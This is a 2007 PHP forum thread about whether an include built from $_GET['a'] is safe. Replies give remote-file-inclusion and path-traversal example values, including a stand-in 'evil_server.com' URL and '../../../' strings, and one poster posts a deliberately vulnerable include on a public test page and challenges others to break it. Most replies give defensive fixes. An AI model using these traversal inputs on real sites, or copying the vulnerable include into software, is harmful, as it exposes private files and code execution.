Page 1 of 2

This is safe, right?

Posted: Mon Oct 08, 2007 5:11 pm
by toasty2
In my simple Content Management System, the page to be viewed is passed in $_GET['a']. I include the page defined in $_GET['a'], but I append .txt to it. Is that safe? (Pages are stored in .txt files.)

Posted: Mon Oct 08, 2007 5:15 pm
by VladSun
I don't think so ... Examples:

Code: Select all

// RFI
$_GET['a'] = "http://evil_server.com/evilcode"

//LFI 
$_GET['a'] = "../../../secret";

Posted: Mon Oct 08, 2007 5:23 pm
by RobertPaul
Not safe, for the reasons VladSun gave.

The simplest thing to do, without changing how your CMS actually works, would probably be to check $_GET['a'] with ctype_alnum(). That will immediately flag any URL/directory manipulation. If it passes that then make sure it exists as a local file with file_exists() before including it.

Posted: Mon Oct 08, 2007 7:06 pm
by toasty2
That doesn't affect my CMS. Here's an excerpt from one of my functions:

Code: Select all

if (file_exists('content/'.$p.'.txt'))
{
	$page = formatOutput(file_get_contents('content/'.$p.'.txt'));
}
else
{
	$page = getError(404);
}
return $page;
($p is $_GET['a'])

I also already check for ".."

Posted: Mon Oct 08, 2007 7:14 pm
by VladSun
Still vulnerable to "../.." values. Imagine you have "/home/toasty2/secret.txt". Then by setting "../../../home/secret" for example, one could read the contents of your file.
One way to solve it is to use prefixes for your include files - e.g. "pre_page1.txt" and include by "include('content/pre_'.$p.'.txt')"

EDIT: You've edited your last post while I was writing :)

Posted: Tue Oct 09, 2007 10:40 am
by Mordred
Prefixes won't help, content/prefix/../../secret/file would still work!
The correct solution is NOT to use $GET['a'] directly at all.
Put it in a switch:

Code: Select all

switch ($p) {
case 'page1': include('../inaccessible_from_web/page1.txt');
...
default: include('../inaccessible_from_web/error.txt');
}

Posted: Tue Oct 09, 2007 10:45 am
by feyd
Interestingly enough, there's a thread linked from Useful Posts on such subjects as this. It's been around for quite some time and still valid.

Posted: Tue Oct 09, 2007 11:37 am
by VladSun
Mordred wrote:Prefixes won't help, content/prefix/../../secret/file would still work!
include('content/pre_'.$pp.'.txt') - your exploit attempt will result in "No such file or directory" because file "pre_" 1) doesn't exist 2) is not a directory.

As far as I can remember it was said that "register_globals on" would inject variables by prefixing their names, so no one could inject them from user side data.

Posted: Tue Oct 09, 2007 11:51 am
by Zoxive
VladSun wrote:
Mordred wrote:Prefixes won't help, content/prefix/../../secret/file would still work!
include('content/pre_'.$pp.'.txt') - your exploit attempt will result in "No such file or directory" because file "pre_" 1) doesn't exist 2) is not a directory.

As far as I can remember it was said that "register_globals on" would inject variables by prefixing their names, so no one could inject them from user side data.
Wouldn't you be able to do..

/../../../../var/

Notice the first / would make pre_ a directory, so if i could go all the way back to (Root) /var/

Not tested though.

Posted: Tue Oct 09, 2007 11:54 am
by VladSun
Zoxive wrote:
VladSun wrote:
Mordred wrote:Prefixes won't help, content/prefix/../../secret/file would still work!
include('content/pre_'.$pp.'.txt') - your exploit attempt will result in "No such file or directory" because file "pre_" 1) doesn't exist 2) is not a directory.

As far as I can remember it was said that "register_globals on" would inject variables by prefixing their names, so no one could inject them from user side data.
Wouldn't you be able to do..

/../../../../var/

Notice the first / would make pre_ a directory, so if i could go all the way back to (Root) /var/

Not tested though.

Code: Select all

include('content/pre_/../../../../var/');
pre_ : doen't exist or not a directory ...

Posted: Tue Oct 09, 2007 12:05 pm
by Zoxive
VladSun wrote:

Code: Select all

include('content/pre_/../../../../var/');
pre_ : doen't exist or not a directory ...
Yes, and i just tested it. the ../ ignore the content and 'pre_', as what they are made to do..

pre.php

Code: Select all

include('content/pre_/../../dn.php');
// echos hi
dn.php (Same Directory as pre.php)

Code: Select all

echo 'hi';

Posted: Tue Oct 09, 2007 12:09 pm
by VladSun
I meant:
You have files to include:
contents/pre_1.txt
contents/pre_2.txt
contents/pre_3.txt

pre_ is not a "prefix directory" - it is a prefix for file names. Your exploit would work only if there is a directory called "pre_" in your "contents" directory ...

Posted: Tue Oct 09, 2007 12:15 pm
by Zoxive
VladSun wrote:I meant:
You have files to include:
contents/pre_1.txt
contents/pre_2.txt
contents/pre_3.txt

pre_ is not a "prefix directory" - it is a prefix for file names. Your exploit would work only if there is a directory called "pre_" in your "contents" directory ...
Yes i know what you meant. In my example Directory `content`, and `pre_` do not exist. Do you not understand how `../` works?

Posted: Tue Oct 09, 2007 12:27 pm
by VladSun
Zoxive wrote:Do you not understand how `../` works?
:D :) :o :lol:

Give me your best shot:

http://ipclassify.relef.net/1.php

Code: Select all

<html>
<head>

</head>
<body>
<pre>
<?php

include("contents/pre_".$_GET['a'].".txt");

?>
</pre>
</body>
</html>

Code: Select all

root@mail:/www/ipclassify.relef.net# pwd
/www/ipclassify.relef.net
root@mail:/www/ipclassify.relef.net# ls -l /etc/passwd
-rw-r--r--  1 root root 1716 2007-08-28 23:34 /etc/passwd
root@mail:/www/ipclassify.relef.net# ls contents/
pre_1.txt

Posted: Tue Oct 09, 2007 12:42 pm
by Mordred
VladSun wrote:
Mordred wrote:Prefixes won't help, content/prefix/../../secret/file would still work!
include('content/pre_'.$pp.'.txt') - your exploit attempt will result in "No such file or directory" because file "pre_" 1) doesn't exist 2) is not a directory.

As far as I can remember it was said that "register_globals on" would inject variables by prefixing their names, so no one could inject them from user side data.
Yes it would work, perhaps you should try it first?
And what does register_globals have to do with this at all?